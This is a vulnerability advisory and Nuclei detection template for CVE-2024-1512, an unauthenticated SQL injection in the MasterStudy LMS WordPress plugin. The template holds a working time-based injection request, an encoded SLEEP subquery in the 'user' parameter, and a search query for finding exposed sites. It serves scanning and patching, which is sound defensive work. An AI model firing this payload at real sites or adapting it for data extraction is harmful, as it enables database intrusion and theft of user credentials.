CVE-2024-1512· stylemixthemes / masterstudy lms
MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection
The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can extract sensitive information from the database including usernames, passwords, and other confidential data via time-based SQL injection.
Fix
Update MasterStudy LMS plugin to version 3.2.6 or later.
How to confirm it
Send: @timeout 10s
Positive when: duration>=6 and contains_all(body,"items","total","total_price") and contains(content_type,"application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-1512 -u <target>
The full check
id: CVE-2024-1512
info:
name: MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection
author: s4e-io
severity: critical
description: |
The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can extract sensitive information from the database including usernames, passwords, and other confidential data via time-based SQL injection.
remediation: |
Update MasterStudy LMS plugin to version 3.2.6 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1512
- https://github.com/rat-c/CVE-2024-1512
- https://blog.csdn.net/m0_60571842/article/details/139901296
- https://www.wordfence.com/threat-intel/vulnerabilities/id/d6b6d824-51d3-4da9-a39a-b957368df4dc?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1512
epss-score: 0.77729
epss-percentile: 0.9957
metadata:
verified: true
max-request: 1
vendor: stylemixthemes
product: masterstudy_lms
framework: wordpress
fofa-query: body="wp-content/plugins/masterstudy-lms-learning-management-system/"
tags: time-based-sqli,cve,cve2024,sqli,wp-plugin,wordpress,vuln
http:
- raw:
- |
@timeout 10s
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%286%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=6"
- 'contains_all(body,"items","total","total_price")'
- 'contains(content_type,"application/json")'
- "status_code == 200"
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2024-1512
- https://github.com/rat-c/CVE-2024-1512
- https://blog.csdn.net/m0_60571842/article/details/139901296
- https://www.wordfence.com/threat-intel/vulnerabilities/id/d6b6d824-51d3-4da9-a39a-b957368df4dc?source=cve
Use this check only on systems you are authorised to test. Where the data comes from